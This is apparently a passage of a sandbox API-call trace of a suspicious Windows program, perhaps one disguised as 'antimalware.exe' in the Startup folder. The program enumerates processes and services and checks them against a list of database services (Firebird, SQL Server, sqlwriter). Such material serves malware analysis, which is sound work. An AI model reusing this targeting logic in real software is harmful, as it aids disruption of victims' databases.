	[0135.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0135.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0135.293] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0135.293] lstrlenW (lpString="SysMain") returned 7
	[0135.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0135.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0135.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0135.293] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0135.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0135.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0135.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0135.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0135.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0135.294] lstrlenW (lpString="Themes") returned 6
	[0135.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0135.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0135.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0135.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0135.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0135.294] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0135.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0135.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0135.294] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0135.294] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0135.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0135.294] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0135.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0135.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0135.294] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0135.294] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0135.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x394cec8 | out: hHeap=0x4f0000) returned 1
	[0135.294] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4
	[0136.010] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0136.010] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0136.011] lstrlenW (lpString="System") returned 6
	[0136.011] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0136.012] lstrlenW (lpString="smss.exe") returned 8
	[0136.012] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0136.014] lstrlenW (lpString="csrss.exe") returned 9
	[0136.014] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0136.014] lstrlenW (lpString="wininit.exe") returned 11
	[0136.015] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0136.015] lstrlenW (lpString="csrss.exe") returned 9
	[0136.015] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0136.016] lstrlenW (lpString="winlogon.exe") returned 12
	[0136.016] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0136.017] lstrlenW (lpString="services.exe") returned 12
	[0136.017] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0136.018] lstrlenW (lpString="lsass.exe") returned 9
	[0136.018] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0136.018] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0136.018] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0136.019] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0136.019] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.020] lstrlenW (lpString="svchost.exe") returned 11
	[0136.020] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.021] lstrlenW (lpString="svchost.exe") returned 11
	[0136.021] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0136.022] lstrlenW (lpString="dwm.exe") returned 7
	[0136.022] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.022] lstrlenW (lpString="svchost.exe") returned 11
	[0136.022] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.030] lstrlenW (lpString="svchost.exe") returned 11
	[0136.030] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.031] lstrlenW (lpString="svchost.exe") returned 11
	[0136.031] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.032] lstrlenW (lpString="svchost.exe") returned 11
	[0136.032] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.033] lstrlenW (lpString="svchost.exe") returned 11
	[0136.033] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.034] lstrlenW (lpString="svchost.exe") returned 11
	[0136.034] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.034] lstrlenW (lpString="svchost.exe") returned 11
	[0136.034] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.035] lstrlenW (lpString="svchost.exe") returned 11
	[0136.035] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.036] lstrlenW (lpString="svchost.exe") returned 11
	[0136.036] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.037] lstrlenW (lpString="svchost.exe") returned 11
	[0136.037] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0136.037] lstrlenW (lpString="spoolsv.exe") returned 11
	[0136.037] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.038] lstrlenW (lpString="svchost.exe") returned 11
	[0136.038] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0136.039] lstrlenW (lpString="audiodg.exe") returned 11
	[0136.039] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0136.040] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0136.040] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0136.041] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0136.041] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0136.041] lstrlenW (lpString="sihost.exe") returned 10
	[0136.041] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0136.042] lstrlenW (lpString="Memory Compression") returned 18
	[0136.042] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0136.043] lstrlenW (lpString="svchost.exe") returned 11
	[0136.043] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0136.335] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0136.335] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0136.336] lstrlenW (lpString="taskhostw.exe") returned 13
	[0136.336] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0136.337] lstrlenW (lpString="msoia.exe") returned 9
	[0136.337] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0136.338] lstrlenW (lpString="taskhostw.exe") returned 13
	[0136.338] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0136.338] lstrlenW (lpString="explorer.exe") returned 12
	[0136.338] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0136.339] lstrlenW (lpString="SearchUI.exe") returned 12
	[0136.339] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0136.340] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0136.340] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0136.341] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0136.341] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0136.342] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0136.342] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0136.343] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0136.343] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0136.344] lstrlenW (lpString="cmd.exe") returned 7
	[0136.344] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0136.345] lstrlenW (lpString="conhost.exe") returned 11
	[0136.345] Process32NextW (in: hSnapshot=0x3a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0136.345] CloseHandle (hObject=0x3a4) returned 1
	[0136.345] Sleep (dwMilliseconds=0x1f4) 
	[0137.060] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x394d720
	[0137.061] EnumServicesStatusExW (in: hSCManager=0x394d720, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0137.061] GetLastError () returned 0xea
	[0137.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b58) returned 0x394aec0
	[0137.061] EnumServicesStatusExW (in: hSCManager=0x394d720, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x394aec0, cbBufSize=0x1b58, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x394aec0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0137.062] CloseServiceHandle (hSCObject=0x394d720) returned 1
	[0137.062] lstrlenW (lpString="AppXSvc") returned 7
	[0137.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0137.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0137.062] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0137.062] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0137.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0137.062] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0137.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0137.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0137.062] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0137.062] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0137.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0137.062] lstrlenW (lpString="Audiosrv") returned 8
	[0137.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0137.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0137.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0137.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0137.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0137.063] lstrlenW (lpString="BFE") returned 3
	[0137.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0137.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0137.063] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0137.063] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0137.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0137.063] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0137.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0137.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0137.063] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0137.063] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0137.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0137.063] lstrlenW (lpString="CDPSvc") returned 6
	[0137.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0137.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0137.063] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0137.063] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0137.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0137.063] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0137.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0137.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0137.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0137.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0137.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0137.064] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0137.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0137.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0137.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0137.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0137.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0137.064] lstrlenW (lpString="CryptSvc") returned 8
	[0137.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0137.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0137.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0137.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0137.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0137.064] lstrlenW (lpString="DcomLaunch") returned 10
	[0137.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0137.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0137.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0137.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0137.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0137.064] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0137.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0137.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
